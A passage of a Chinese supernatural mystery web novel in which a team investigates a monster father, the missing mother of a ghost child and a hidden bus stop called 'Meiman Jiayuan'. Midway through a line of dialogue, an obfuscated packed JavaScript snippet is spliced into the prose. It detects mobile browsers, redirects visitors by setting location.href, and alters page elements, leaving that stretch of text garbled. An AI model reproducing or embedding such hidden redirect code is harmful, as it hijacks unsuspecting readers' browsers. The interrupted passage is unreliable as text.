钟沐试探:“妈妈叫什么名字?” 小丛缩在她怀里,没有回答这个问题,只是闷闷地说:“妈妈好像找不到我了。” 两人的对话被监听器同步上传。庄宁屿把手里的红茶放在会议桌上,摇着轮椅身残志坚来开会:“根据我们目前收集到的消息,杜晓荷很少会回贠家村,就算回去,一般也是待在家里不出门,贠家村村民对她的印象大多是沉默寡言,不会来事。” 钱越问:“那她当年大冬天跑回贠家村,是为了找什么?找贠大力的把柄,比如说什么犯罪证据?” 易恪说:“我猜十有八九是为了找孩子。” 庄宁屿点头:“我同意,找孩子。” 杜晓荷一旦发现孩子失踪,肯定会去找贠大力,而贠大力所能编造出的,最方便最合理的借口,就是把孩子送回了老家亲戚家玩。贠家村距离锦城很远,交通不发达,加之杜晓荷在村里又无亲无故,连个电话都不知道要打给谁,因此更无从求证整件事的真假,除非亲自跑一趟。 结果她就真的亲自跑了一趟。 然而等抵达贠家村后,杜晓荷却发现这里根本就没有自己的孩子,贠大力在说谎。 庄宁屿继续说:“很有可能在那个时候,小丛就已经坠亡了,贠大力不想让杜晓荷知道这件事,所以一路追来贠家村,想把她带走。两人在高凛山附近相遇,或许爆发了一场很大的争执,又或许这中间还有什么别的秘密,最终导致了杜晓荷的溺毙。” 一个社会关系简单的孤女,又极度缺乏社交,只要贠大力不报案,再一口咬定两人已经分手不联系,那整件事确实无从查起。 是夜,天气又变冷了,寒气几乎要浸透皮肤。这不是个好兆头,因为根据以往经验来看,弥漫的寒雾往往代表怪物的靠近。 “来的也不一定就是男主角,也有可能是小丛的妈。”钱越在1601混完了晚饭,“庄哥,你要橙汁还是菠萝汁?” 易恪回答:“他什么都不要。” 庄宁屿确实不想在这种冷飕飕的天气里喝果汁,但更不想让易恪成为自己的食物代言人,于是决定痛饮一瓶伤身冰镇菠萝汁以示抗议,只是还没来得及开口,手里就被塞了一杯热乎乎的睡前饮。 易恪介绍:“龙眼百合茶,可以安神,试试看。” 胖而圆的玻璃杯,在灯光下看起来格外美丽,钱越关上冰箱门:“张老师家还有这么有品位的杯子?明天问问他有没有链接,也给我妈买两个。” 易恪金贵回答:“我从家里带的。” 钱越竖起拇指,出任务还自带餐具,讲究,不愧是你,然后他的目光又落到沙发一角那张泛着漂亮光泽的喀什米尔大羊绒上,易恪唇角微扬,看起来下一句“也是我从家里带的”已经到了嘴边,庄宁屿实在不愿再听,于是选择主动开口打断这场线下商品交流会,他说:“如果来的真是杜晓荷,那对我们来说并不算好事。” 钱越问:“为什么?” “你没发现吗?这里的天气和怪物的危险程度息息相关。”庄宁屿喝了口热茶,“怪物的情绪越差,天气就越冷,反之亦然,比如昨晚,在小丛和那群小怪物出现时,天气就比较正常。” 而今晚下降的温度,代表着下一个出现的怪物并非善类,如果是原先那位倒还好,如果再来一个同样充满危险的“母亲”,只会加大任务难度。 “但小丛的母亲只想带着孩子离开,没道理对我们有敌意,来的应该不是她。”钱越屁股粘在沙发上,主动提出,“庄哥,要不要我帮你换药?” 他现在已经有了职业危机感,生怕易恪会抢走自己的工作,甚至还明里暗里跟自家老大强调好几次,你也要提高警惕!搞得庄宁屿心力交瘁,欲骂而不得,反思良久以后纠纷调解部在面试的时候,是不是应该大幅提高智商准入门槛。 为了换取耳根清净,庄宁屿当下决定:“这一周的《部门工作总结不足与改进》归你写。” 钱越果然五雷轰顶:“为什么?” 没有为什么,你们老大就是这么无理取闹。庄宁屿用完好的那条腿把人踹出门,打发他赶紧去写报告,不要连累部门挨骂。回头见易恪正拎着药箱一脸似笑非笑,顿时又觉得怎么自己身边找不到一个正常人,他把手一伸:“我自己来。” “不可能。”易恪一口拒绝,蹲在沙发前帮他解开绷带。膝盖明显淤肿更甚,旧伤的缝合疤痕纵横交错,看着有些触目惊心,易恪用掌心整个覆上去,强迫症患者庄宁屿顿时心如猫抓,既想问药膏黏糊糊的你摸它干什么?又自省我为什么要管他黏不黏,难道不该言简意赅对职场骚扰猛猛SAYNO? 感受到对方身体的僵直,易恪在继续帮他处理伤口时,刻意放轻了动作,先用绷带擦干净旧的药膏,又把新的敷料撕开,扯平之后整个覆盖上去。冰凉的药膜刺激得庄宁屿稍稍有些想后撤,却被易恪握住小腿,下一刻,两只手就捂住了他的膝盖,掌心里的温度很暖,庄宁屿忍住抬手给他一巴掌的心,尽量心平气和进行药学探讨,你说有没有可能这个冰凉的刺激感也是治疗淤肿的一部分。 易恪从鼻子里挤出一个敷衍音调,然后把手往下挪了挪,重新圈住他的小腿,接着又把自己的下巴抵上他的膝盖。 一分钟能整出八百个花活,庄宁屿也不知道是该用猫还是狗来形容这份甩不脱的粘人。可能是见他的表情实在太生不如死,易恪提意见:“你刚开始明明说很喜欢我。” 庄宁屿纠正:“我没有很喜欢你,我的原话是‘我也喜欢你的观点’。” 易恪拒绝接受事实,轻飘飘飘出一个“哼”,不听。 两人结识于一场读书会。那阵子庄宁屿刚刚因伤从秩序维护部离职,还没有被调到纠纷调解部,天天在家躺得要发霉,于是朋友就推荐他加入了一个书店举办的文学交流小组。周末晚上,他拄着拐杖去参加第一场线下阅读会,在那里遇到了同为会员的易恪。 彼时的易恪正靠在浅色书架上,低头翻着手里一本硬壳书,红色书皮衬得他手指白皙修长,整个人看起来干净又安静,也毫无攻击性。觉察到有人似乎正在看着自己,易恪抬起头,稍稍挑眉:“需要帮忙吗?” “不用。”庄宁屿礼貌地笑了笑,“打扰。” 读书会进展得很顺利,快散场时,庄宁屿捧着一本书靠在角落沙发上,微暗灯光越过肩头洒上书页,照出一片浅灰色的影子,空气中流淌着不知名的钢琴曲,他闭上眼睛,刚想休息片刻,耳边却传来轻轻的读书声:“当我看见你面孔的时候,黑夜也变成了白昼,因此我并不觉得现在是在夜里——” 庄宁屿从梦中惊醒,“啪”一下合上书。 易恪把视线从他的书上挪到他的脸上,笑着伸出手:“你好,正式认识一下?” 庄宁屿事后复盘,深觉自己当时就该扛起拐杖赶紧跑路,而不是鬼迷心窍回答他,好的。 好个毛毛虫。庄宁屿悔不当初,拍了一把他的脑袋:“滚回去睡觉。” 易恪用毯子盖住他的双腿:“屋外又起风了。” 听到这话,庄宁屿眉头微皱,起风就代表着温度的下降,而温度一旦下降……果然,不出五分钟,所有行动队员的通讯器都亮了起来。 出差的怪物回来了。 他悄无声息地出现在了宿舍门口,高大魁梧,裹着一身寒雾,一双血红的鱼眼不停地往门里看。孩子们明显被他吓坏了,躺在被窝里一动不敢动。怪物的视线扫过一个又一个的孩子,最后落在一张空荡荡的小床上,他缓慢地问:“我的孩子呢?” 叶皎月关上宿舍门:“这位先生,现在不是接孩子的时间。” “我问你,”怪物双眼紧紧盯着她,“我的孩子在哪里?” 说这话时,他手臂青筋暴起,黏糊糊的涎水从口 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怪物从鼻子里愤恨地喷出气音,竟然也没有对空荡荡的餐桌表现出不满,直接把锤子一扔,就缓慢挪步去了浴室。搞得原本已经做好战斗准备的青岗心情好比一拳打在棉花上,过了大半天仍然觉得很空虚。 叶皎月安排小丛住到了一处闲置的房间。或许是受了怪物影响,他看起来和之前判若两人,不吵不闹,乖巧极了,一直跟在钟沐屁股后。 “怎么了,你不舒服吗?”钟沐蹲下看着他。 小丛摇头,脸色发白地说:“没有。”过了一会儿,又补充,“我有点害怕爸爸。” 他趴在钟沐背上,手指卷着她的马尾,声音很细地叫着“妈妈”。 “叶队。”等小丛睡着之后,钟沐汇报,“在怪物出现后,他的身体明显变差了。” 如果这种变差是持续性的,那就代表着小丛最终会在怪物的影响下,再度“死去”。 现在事情的关键点是赶紧找到妈。 “不管是从正常逻辑出发,还是从这一次的规则出发,‘母亲’和‘孩子’的关系都应该是很紧密的。”钱越坐在办公桌上分析,“小丛是昨晚出现的,而怪物今晚才回家,对于一个满心都想带着儿子离开的母亲来说,这中间一整个白天都是好机会,那她为什么一直没出现呢?难不成是因为规则里已经有了‘妻子’的角色,比如老大和青哥,导致她失去了原本的位置,所以无法出现?还是说她被囚禁了?病得起不来?如果是后两种可能性,那规则里岂不是会同时存在两个‘妻子’?这真的合理吗?” “等会儿。”庄宁屿心里一动,突然想到了另一种可能性。他抬起头,就见易恪也正在看着自己,两人都从对方眼中读出了相同的意思,1601的妻子并不是小丛的母亲。 杜晓荷不是小丛的母亲,换言之,贠大力他出轨! 钱越无意中成为了点燃众人头上灵感灯泡的那个人,当场被赐名钱爱迪。只要杜晓荷不是小丛的母亲,那一切疑点就都有了答案——不管是邻居口中斩钉截铁的“没见过孩子”,还是怪物今晚回家后只字不提孩子的异常表现,就都能说得通,因为孩子只是贠大力一个人的,和杜晓荷压根没关系,她大概率甚至都不知道有这个孩子! 这样一来,当初被溺毙在高凛山水塘里的那名女人,应该也不是杜晓荷。杜晓荷极少回贠家村,没几个人能记清她的具体长相,因此当一名生过大病,黑天半夜风尘仆仆,再裹一条大红围巾的女人出现在村里,指明要去贠大力家探望长辈时,绝大多数人都会把她认成“贠大力的老婆”,至于贠大力的老婆具体是谁,杜晓荷只是他们默认的答案。 那么眼下最新的问题就变成了,杜晓荷目前在哪,小丛的生母到底是谁,以及,假如杜晓荷并没有生过孩子,那怪物之前为什么没有对1601里的“杜晓荷”的“怀孕”提出异议? 临近中午,霍霆带来了第一个问题的答案,调查组早上了约谈了成野,对方并没有否认自己和贠大力的关系,也没有否认当初在楼顶修镇魂塔的事,理由是“为了给不幸死去的孩子安魂”。 庄宁屿纳闷:“不幸死去的孩子,他最近吃对了什么药,竟然这么快就承认了?” 12. 桃李小区12 成野并没有否认自己和贠大力的关系,他说两人曾经是铁哥们,最穷的时候,掏空两个钱包凑钱买西装,谁去见客户谁穿。后来好不容易赚到钱了,贠大力却开始赌了,成野劝了几次都没劝住,为了公司的未来,只好狠心和他做了切割。 “后来他就消失了,这么多年一直没回来。”成野叹了口气,“我也托人找过几次,有说他去了东南亚躲债,也有说他早就被债主丢下了海,总之,没个准信。” 调查员问:“那他的家人呢?” “大力没什么家人。”成野说,“老家那边的长辈年纪都大了,近些年陆续走了几个,算寿终正寝,都是我替他送的,至于老婆孩子……他没结过婚,从前有个交往了很久的对象,叫杜晓荷。” 成野描述中的杜晓荷,和现有资料所呈现出的杜晓荷,既像又不像。朴实能干,沉默寡言,这是像的部分,而不像的部分,则是杜晓荷和贠大力的相处方式,她并不唯唯诺诺,更不逆来顺受,相反,还曾经两次因为和贠大力打架而进了医院——各自伤得半斤八两。 会议室里众人大为震惊,怎么还有这情节? “是真的。”成野看起来颇为唏嘘,“其实晓荷刚开始不这样,她虽然倔,但很讲道理,和大力两个人就算有矛盾,也不会大吵大闹,顶多冷暴力几天,可在她连续流产两次之后,冷暴力却变成了热暴力。” “流产?” “他们有过两个孩子,但都没能足月生下来,听大力说,晓荷的身体不适合生育。据我观察,他们两个人的感情,就是从失去第一个孩子开始变差的,大力曾经试着修复了很久,还盼到了第二个孩子,却是宫外孕,依旧保不住,后来晓荷就走了。” 调查员问:“哪种走?” 成野答:“偷渡,偷渡出国。当初我听大力提过一嘴,后来我派出去找大力的那些人,也多多少少打听到了一些关于晓荷的消息,好像她先去了俄罗斯,又去了欧洲,不过具体细节不清楚。” “贠大力后来失踪,有没有可能是去了国外找杜晓荷?” “不太可能,两人当初分手闹得难看,差不多老死不相往来,他们打架那是真打。有一次我们四个人在公园玩得好好的,还准备去开碰碰车,结果他俩也不知道哪里又没对,突然就吵了起来,晓荷被推进了水沟,大力的脑袋也被石头砸伤了,当场头破血流,给管理公园那大姐吓了一跳,赶紧让她老公开着小三轮带大力去医院缝针。” 他说得情真意切,有鼻子有眼,调查组的人也确实已经找到了那位公园管理大姐,她对当年的事仍有印象,说自己老公前些年是带着一群人去过医院,女的浑身是水,男的满脸是血。据大姐回忆:“他们坐在车上倒没再吵架,但看着实在不像两口子,目光跟仇人似的,那俩朋友是不错,一直劝着。” 调查员继续问:“杜晓荷和贠大力两个人,经常打架吗?” 成野连连摆手:“不经常不经常,经常还得了,他们都不是爱动手的性格,也就偶尔几次,大力那人我了解,他虽然性格不好,但……说句不好听的,有点欺软怕硬,你一横,他就缩了。至于晓荷就更不会,脾气好得很,就是被孩子的事刺激得精神有些失常,可惜了,两个人感情原本是很好的。” 叶皎月却对这句话持不同意见,她合上手边资料:“规则里的‘杜晓荷’怀孕后,小丛就出现了,但小丛又并不是杜晓荷的孩子,只能说明当年杜晓荷和小丛的母亲,其实是同一时间怀的孕,只不过一个生了,一个流了,所以成野口中的‘感情很好’,听一听拉倒。” 庄宁屿问:“那天台的符咒又是怎么回事?” 霍霆解释:“成野供述自从第二个孩子流掉后,贠大力就诸事不顺,连带着公司也不顺,他找了高人,说是夭折的孩子魂魄作祟,找不到家,只要在家附近修个塔,再放件小孩衣服和钱财就能化解怨气。这种事不好大张旗鼓,怕楼里其他居民不同意,所以当初确实干得有些鬼鬼祟祟。” 至于贠大力曾经的感情史,成野一口咬定只有杜晓荷,说他不知道十几年前冒雪出现在贠家村的女人是谁,也从没听贠大力提过什么儿子。 根据成野提供的信息,调查组终于从茫茫资料库里捞出了杜晓荷,江城人,父母早亡,高中辍学,早年开了家五金店,继而跟随贠大力定居锦城,当起了全职主妇,再后来就下落不明。 医院档案里有她的两次流产记录,一次是因为运动时不慎摔倒,一次是因为宫外孕,确实和家暴没什么关系。 有队员质疑:“不慎摔倒?真摔假摔,别是被打没的。” 庄宁屿在屏幕上放大一张图片,那是锦城一家健身俱乐部的会员卡,钻石VIP,应该充了不少钱。钱越“嚯”了一声,原来还有这方面的特长。俱乐部老板也对当年这位会员有印象,评价她“个子小,话少,内向,没基础,但肯吃苦,力气也大,我们这儿的教练都挺喜欢他,后来不知道为什么,突然就不来了”。 调查人员问:“还记得她第一次来的情形吗?” 俱乐部老板点头:“记得,印象还挺深刻的,她神思恍惚,像是有不少心事,当时我见她穿着朴素,已经做好了砍价的准备,结果她直接掏出了一叠大钞,手腕上还戴着一个新买的龙头大金镯子,标签都没撕干净,总之就……很特殊,很难记不住。” 调查人员继续问下去,俱乐部老板就说不出更多了,杜晓荷很少提到家庭私事,总是上完课就走,但有一点他能保证,这位学员应该不是家暴受害者。 钱越看向自家老大:“这代表什么?” “代表我们之前猜的没错,杜晓荷不是这场规则游戏的主角,小丛的亲生母亲才是。”庄宁屿说,“贠大力一直就有两个家。” 大车司机常年跑线,所以他们的伴侣也早就习惯了长时间的分别,在这种条件下,想要多养几个情人并不算难。庄宁屿说:“假如小丛的母亲真的溺毙在了高凛山,这么多年却一直没有官司找上贠大力,只有两种可能性。第一,小丛的母亲和杜晓荷一样,也是无父无母无社会关系的孤女,贠大力专挑这类女性下手,骗财骗色骗感情;第二,贠大力在和小丛母亲交往初期,抱的就是玩玩就跑的不负责心态,所以一直用的假名假身份。” 贠大力当年走的不是固定线路,东西南北都有,想要理清他的感情史,并不是件容易的事。至于成野,口风很紧,暂时套不出更多消息。 休息室里,易恪一直和钟沐一起守着小丛。怪物今早并没有出门,而是一直在小区来回游荡,受他的影响,小丛的身体明显变得越发虚弱,裹着被子一动不动躺在床上,有几个瞬间,钟沐觉得他甚至已经失去了呼吸。 “咚,咚!”脚步声再度靠近。 易恪用指背试了试小丛的鼻息,钟沐担忧地说:“不行,我们得想个办法赶走怪物,至少让他待在1601不要出来。” “我去试试。”易恪视线扫过窗外。光影一明一暗,是怪物正在穿过绿化带,沉重脚步在松软泥土间踩出一个又一个坑,偶尔会有树枝划过那张凹凸不平的脸,下一刻,树枝就会被暴怒地折断。 庄宁屿说:“刹车!” 推着轮椅的钱越紧急停住脚步,差点把自家领导倒出去。 庄宁屿:“……” 钱越:“失误。” 庄宁屿:“闭嘴!” 不远处就是怪物的庞大身影,以及挡在怪物面前的易恪。 钱越没有闭嘴,他小声问:“小易不会要和他硬碰硬吧?” “不会。”庄宁屿沉稳淡定,“我相信他,他有脑子。” 钱越质疑:“要是真的相信,那刚刚为什么要让我用疯狗般的速度推着轮椅往这儿赶?” 庄宁屿稍微一噎,扭头目光冷酷一扫。 钱越虎躯微震,当场静音。 怪物面色不善地看着挡路者:“你们弄丢了我的孩子。” 易恪皱眉,语调比他更加不耐烦:“什么孩子,你家不是只有两口人吗?” 他手里拿着厚厚一摞打印纸,一边说,一边随手翻了两下,抽出其中一张:“既然有孩子,为什么之前不在人口普查表上填清楚?社区志愿者每天要走访上百户,请你们下次填表的时候认真一点。这次我就帮你改了,说吧,孩子叫什么名字,几岁了,常住地是哪里?” 怪物喉结滚动几下,没说话,转身向着单元楼走去。 “喂,你这人怎么回事?”易恪在他身后拔高音调,“1栋的住户是吧?最近几天注意敲门声,我们的志愿者还要再来你家摸查一次。” 怪物脚步匆匆,很快就消失在了树影间。 庄宁屿低声命令:“走!”他本意是想悄无声息撤回会议室,岂料钱越答应一声,当下就推起轮椅穿出树丛,稳稳停在易恪面前。庄宁屿猝不及防,也是没想到如此简单的一个任务,钱越都能执行出方向性错误,心腹大将秒变心腹大患,这下属他不要也罢。 易恪笑了一声,伸手自然而然从钱越手里接过轮椅:“找我有事?” 庄宁屿公事公办地提醒:“你好像忘了,我并没有给你在非紧急状态下单独面对怪物的权限。” “第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126553|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚才就是紧急状态,小丛的呼吸几度出现停止现象,怪物必须马上被驱离。”易恪敲了敲自己的耳机,“第二,我没有单独行动,钟姐一直在和我连线。小丛很需要她的陪伴,不停地在昏睡中喊妈妈,所以她暂时不能离开房间。” 庄宁屿点头,简短表扬:“不错。”表扬完又问,“你和钟沐远程听完了整场会议,有什么想法?” 易恪把轮椅停在树荫下,让太阳只晒着他的双腿:“我也让人去调查过成野,他不是个简单角色,向来为达目的不择手段。这些年他计划扩大公司规模,所以和昇昇集团一样,也一直想方设法要和易家搭上关系,为此花了不少人力物力,但一直没什么进展。” “那按照正常逻辑,现在出了贠大力的事,正是他向易家抛出橄榄枝的大好时机,毕竟小易在我们这。”钱越伸手拍拍易恪的肩膀,“但他却选择了撒谎,一口咬定贠大力只有杜晓荷一个对象,始终隐瞒着另一个女人的存在。” 贠大力目前生死不明,这么一个人,对贠野建筑来说可谓毫无用处,但即便如此,成野还是不愿意把往事和盘托出,甚至宁愿放弃这个向易家示好的难得机会,只能说明一件事——藏在背后的真相一旦被剖出,对成野本人以及贠野建筑带来的打击,将是毁灭性的。 “所以成野的嘴大概率是撬不开了。”易恪说,“至于他对于杜晓荷的描述,我觉得应该是真的,一则有旧年人证物证,二则杜晓荷当年就住在桃李小区,有老住客提供线索,我们不至于对她一无所知,所以成野并不能把控好说谎的度,不想出错,他最稳妥的选择就是实话实说。” “小丛一直抱着钟沐喊妈妈,还喜欢玩她的头发,大概率他的妈妈也是一位长发女性。”庄宁屿靠在轮椅背上,稍稍皱眉,“她现在会在哪儿呢?” 按照以往的经验,每一轮次的规则都是可解的,答案就隐藏在谜面中。桃李小区的八条规则已经深深印在了每一个人的脑子里,其中最关键的第一条,只要母亲带着孩子坐上155路公交车,她就能获得梦寐以求的自由。 孩子、155路公交车、车费都已经准备就绪,只有母亲迟迟没有就位。钱越见庄宁屿半天没说话,于是试探着问:“庄哥,你还在想小丛生母的藏身地吗?” “没有。”庄宁屿回神,“我是在想,小丛的生母为什么要跑到桃李小区来坐155路公交车?” 钱越一愣,他之前从没考虑过这个问题。 “杜晓荷并不知道小丛的存在,贠大力也没有把小丛养在桃李小区,那为什么规则里的母亲会把新生的希望寄托在一辆从桃李小区发出的公交车上?”庄宁屿看起来有些困惑,“虽然小丛之所以被困在这场规则里,是因为他坠落于一栋天台,但他其实并没有长期居住在桃李小区,坠楼是极偶发事件。” 而小丛的生母大概率是没有来过桃李小区的,或者说得更准确一点,她肯定没有久居于此过,那一个住在桃李小区之外的母亲,到底在什么情况下,才会把一辆始发于桃李小区的公交车视为逃离和救赎? 庄宁屿屈起食指,去揉自己的太阳穴。 易恪松开轮椅把手,把温热的掌心贴在他两边耳侧,稍微用力压了压。钱越嗅觉敏锐,这马屁哪能让你一个人拍,于是当场撸高袖子也要加入,结果被庄宁屿打发走:“去跟着青岗巡逻。” 钱越眼底流露丝丝心碎,为什么,给我一个非走不可的理由! 庄宁屿:“不走奖金扣两百。” 钱越:“马上走!” 易恪很满意自己的地位,正准备说话,庄宁屿却浇来一盆新凉水:“你也走。” “不走。”易恪推起他的轮椅,跟着太阳的移动换位置,“工资给你,尽管扣完。” 庄宁屿双手撑着轮椅扶手想站起来,却被易恪在肩膀上压了回去:“坐好。” 庄宁屿头疼:“有你在旁边,我没法安心工作。” 易恪坐在长椅上,和他面对面:“为什么?” “没有为什么,”庄宁屿回答,“习惯。” 确实是习惯,他习惯在极端安静的环境下独自思考,而易恪明显和“安静”两个字关系不大,即便后者此时已经很配合地做出拉链封嘴的手势,但庄宁屿依然觉得自己的精神世界正在遭受弹幕攻击。 易恪摊手:“这就不能怪我了吧?” 庄宁屿懒得和他争辩:“算了,推我回办公室。” “回办公室也未必能想出结果。”易恪看了眼腕表,“下一辆公交车马上就要出站了,不然我们再去坐一次?或许就能找到答案。” 13. 桃李小区13 公交司机已经有了经验,看到易恪过来,立刻伸手去按关门键,但还是迟了一步。 “铛啷啷!”伴随四声清脆声响,规则币被投入票箱。易恪一只手提着折叠轮椅,另一只手提着庄宁屿,轻轻松松就把人放在了“老弱病残孕专用椅”上,整套动作行云流水,不给任何人任何拒绝的机会。司机怒不可遏地转过身,咆哮着问:“怎么又是你们两个?看不到这里张贴的规则吗,本车仅限未成年儿童和他们的母亲乘坐!” “看到了。”庄宁屿伸手指向易恪,好脾气地解释,“未成年儿童,”然后又指向自己,“以及他的母亲。” 易恪面不改色一摊手:“完全合规。” 司机缓缓瞪大眼睛,可能也没料到世界上竟然会有人无耻到这种程度,他们是当自己瞎吗?但庄宁屿却很淡定:“你要是拒载,我就去交通部投诉你们公司歧视有认知障碍的特殊人群。” 司机闻言虎躯一震,他其实并不知道什么是“认知障碍的特殊人群”,但他知道歧视乘客要扣工资,于是正色解释:“不是歧视,没有歧视,我的意思是我们的服务范围仅限于亲生,呃,以及法律承认的……你们这不属于……”话还没说完,面前一米八几的“未成年儿童”已经开始把他的头往“母亲”怀里依偎,这糟糕而又猎奇的画面显然大大惊吓到了司机,他向来淳朴又老实,真的没有见过这种世面,所以半天没憋出一句完整的话,连扣安全带的手都在抖,深呼吸半天,才颤巍巍一脚油门驶向远方。 庄宁屿把自己怀里的脑袋拍开:“坐回去!” 易恪没有坐,他拉着扶手站在通道上,身体跟着车辆的前行微微摇晃。 只要不作妖,庄宁屿也懒得管对方到底是坐还是站,他侧头看向窗外,熟悉的白雾已经一层又一层地包裹上来,像是越来越浓厚的魂,聚而不散,直到最后彻底将这小小一方世界淹没。 上一次两人坐车,是为了测试怪物司机会不会被噪音激怒,所以全程伴随死亡摇滚乐,嘈杂的声音散开在行驶的车和风里,像电影中的末世逃离,危险又刺激。而这一次,世界骤然变得安静,只有断断续续的播报声混着“嘶嘶”电流音:“各位……嘶嘶……乘客,欢迎乘坐155路公共汽车,本车……嘶嘶……请您……嘶嘶……,车辆始发站为桃李小区……嘶嘶嘶……终点站为桃李路口……嘶嘶……公交文明需要你我共同参与。” 一段话被截成无数破碎词句,偶尔还要来一个炸耳暴鸣,让原本就诡异的车辆越发诡异加倍。这一趟行程并没有收获,窗外雾气消散之后,出现在眼前的依旧是春风超市。怪物司机把车稳稳停好,打开后门,连头都没有回,可能是害怕再看到巨型未成年和他的男妈妈。 易恪看向庄宁屿,用眼神询问他下一步计划。 庄宁屿靠在公交椅背上,看架势并不准备离开这橙色塑料王座。 于是易恪也没动。 两人就这么一站一坐,任由枯黄落叶打着旋儿被吹进大敞的车门,最后怪物司机终于忍不下去,小小的眼睛滴溜溜转动几圈,先谨慎观察了一下中央后视镜,确定这两个特殊人群并没有什么逾矩行为后,才转身提醒:“到站了,下车。” “我们要再坐一趟。”庄宁屿说。 他话音刚落,易恪已经走到驾驶位旁,手指一松,“铛啷啷”!新的车资掉落票箱。 怪物司机喉头滚动几下,可能是想骂人,但又想起了《公交驾驶员文明服务十“要”十“不”》,所以及时把脏话咽了回去,他尽量很有礼貌地说:“这是循环巴士,不管坐多少次,线路都是一样的。” “我们知道。”庄宁屿搓了搓手,“但外面实在太冷了,车上暖和。” 怪物司机哑口无言,这理由他没法反驳,规则里并没有说不能重复坐车,况且乘客也没坐霸王车,两人刚刚已经买了新的车票。 死寂而又漫长的对峙后,怪物司机默默转正身体,关闭了后车门。 下一轮发车时间很快临近,155路公交车再度被裹进雾里。 两人就这么在车上晃了几个小时,晃得行动队其余成员纷纷趴在窗口张望,钟沐纳闷地问:“叶队,庄哥和小易这是干嘛呢?” “不知道,没汇报。”叶皎月回答,“但肯定是有了新发现,等着吧,宁屿一般不会出错。” “庄哥对小易可真不错,出什么任务都带着。”钟沐撑着腮帮子,“叶队,你说我刚入职的时候,怎么就碰上了陆哥那么个师父?” “背后说闲话,当心被你师父听到。”叶皎月递给她一杯水,又问,“小丛怎么样?” “老样子,呼吸微弱,昏睡不醒。”提到小孩子,钟沐叹气,“一直在叫妈妈。” 没有哪个母亲能忍心看到这样受苦的孩子,她至今没有出现,就一定是被禁锢在了哪里。 “叮咚!各位乘客,欢迎乘坐155……”千篇一律的播报声。庄宁屿盯着手腕上的百达翡丽,他自己的手表之前被小丛扯下来摔得七零八落,眼下只有从易恪胳膊上现撸一个,机械表的走时很准,而且不会受白雾磁场影响。当分针缓缓向前挪了一格时,庄宁屿抬起眼皮,果然又在中央后视镜里对上了司机的眼睛。 只是短短一瞬间的目光交汇,没发生什么别的事,司机面色如常,车依旧平稳地开着。 易恪问:“你一直在计时?” “公交车出站后,每次行驶到这个时间点,司机总会往后看一眼,大概是发车后十五分钟左右。”庄宁屿问,“你觉得他在看什么?” 易恪稍一迟疑:“看我们有没有在他的车里胡作非为?” 庄宁屿摇头:“公交司机往后瞥,只有一种可能性,他在看有没有乘客要到站下车。” 但这儿距离终点站至少还有十分钟车程,易恪环视了一圈空荡荡的车厢,视线最终落在栏杆上那枚红色STOP按钮上,忽然反应过来:“你的意思是155路社区公交,除了已知的始发站桃李小区,终点站桃李路之外,中间还藏着第三个站点?” 随着他的话音落下,世界似乎有了片刻嘈杂,旋即恢复安静,公交播报再度响起,这一次喇叭里终于不再有刺耳的电流音,取而代之的是清晰甜美的女声:“各位乘客,欢迎乘坐155路公共汽车,本车为铃停巴士,到站如需下车,请您按铃示意。车辆始发站为桃李小区,终点站为桃李路口。公交文明需要你我共同参与。” 庄宁屿抬手重重按下红色按钮。 “叮”一声,司机眼前的绿灯亮起,他及时踩下刹车,公交车第一次停在了浓稠的白雾当中。 易恪推着庄宁屿,从后门下了车。 狂风刺骨,吹散寒雾。一块孤零零的站牌矗立在路边,生锈残缺,挂满风沙污垢。易恪随手从地上捡了根树枝,想把字迹上糊着的泥土剥落,结果树枝还没来得及伸过去,年久失修的站牌就摇摇晃晃,“咣当”一声散架砸落在地。 泥垢震落,灰尘中显露出斑驳的“美满家园”四个字。 而几乎在同一时间,两人的手机屏幕也亮了起来。 ——欢迎来到美满家园! 因年关将近,近期全市盗窃案件频发,社区特聘请守护神安保公司为小区提供安保服务,请全体业主务必遵守入住规则。 1、禁止非住户进入小区; 2、小区内共设有安全巡逻员50余名,昼夜轮岗; 3、小区内各单元楼均有单独门禁,刷卡进入; 4、邻里关系将有助于您尽快融入新环境; 5、全体业主均需配合安保工作,提升居住环境,共建安全小区,共享美好生活; 6、所有违规者将被巡逻员永久拘捕; 下面还附有一串400开头的电话,是守护神安保公司的工作热线。 美满家园的大门就在不远处,一颗高耸入云的大树正生长得郁郁葱葱。不过既然规则里提到了“非住户禁止入内”,贸然闯入肯定不是个好主意。易恪先推着庄宁屿在街边找了条长凳:“小丛的生母就住在这个小区?” “大概率。”庄宁屿试着联系了一下叶皎月,信号不佳,但好在总算没有和大部队彻底断联。在断断续续的电流音里,队长的声音也被切得同样断续:“需要我再……加派人手……过来吗?” “暂时不用,我们先看看这边的情况,随时保持联系。” “好的,相关资料我会尽快……整理好……发过来……你和小易注意安……全。” “还有件事,”庄宁屿提醒,“查一下这个叫‘守护神’的安保公司。”成野的老婆冯婷目前是昇昇集团的公关部经理,而昇昇集团恰好也是安保行业,二者或许有些关联。 调查组的工作效率很高,不到十五分钟,就发来了初步整理好的文件。 守护神安保公司从严格意义上来说,应该算是昇昇集团的前身,创始人都是同一拨,虽然现在已经注销,但前几年一直相互投资相互牵连,确实有着密不可分的关系。 至于美满家园,建成于四十多年前,原本是政府家属院,算高档住宅,后来随着城市发展,老住户逐渐搬走,这里也就慢慢变成了鱼龙混杂的群租房,经常上社会新闻。十九年前因为一场地震,整个小区都被判定为危楼,政府下发文件要求统一拆除,随后整片土地就被改建成了绿道公园。 而155路公交车,最开始的停靠站点确实只有桃李小区和桃李路口,后来因为美满家园的居民强烈要求,才临时增设一站,这件事只在公交公司内部开会传达过,并没有什么正式文件,几年后美满家园整体拆迁,155路公交车也顺理成章恢复为两站停靠,曾经的“美满家园站”,就这么消失在了岁月间,消失在了资料里。 “这种关键消息也能漏,”桃李小区办公室里,钱越正翻着新资料正义发言,“你们秩序维护部不是一向以行动缜密著称吗?” 钟沐哑了一下,觉得你说得虽然有 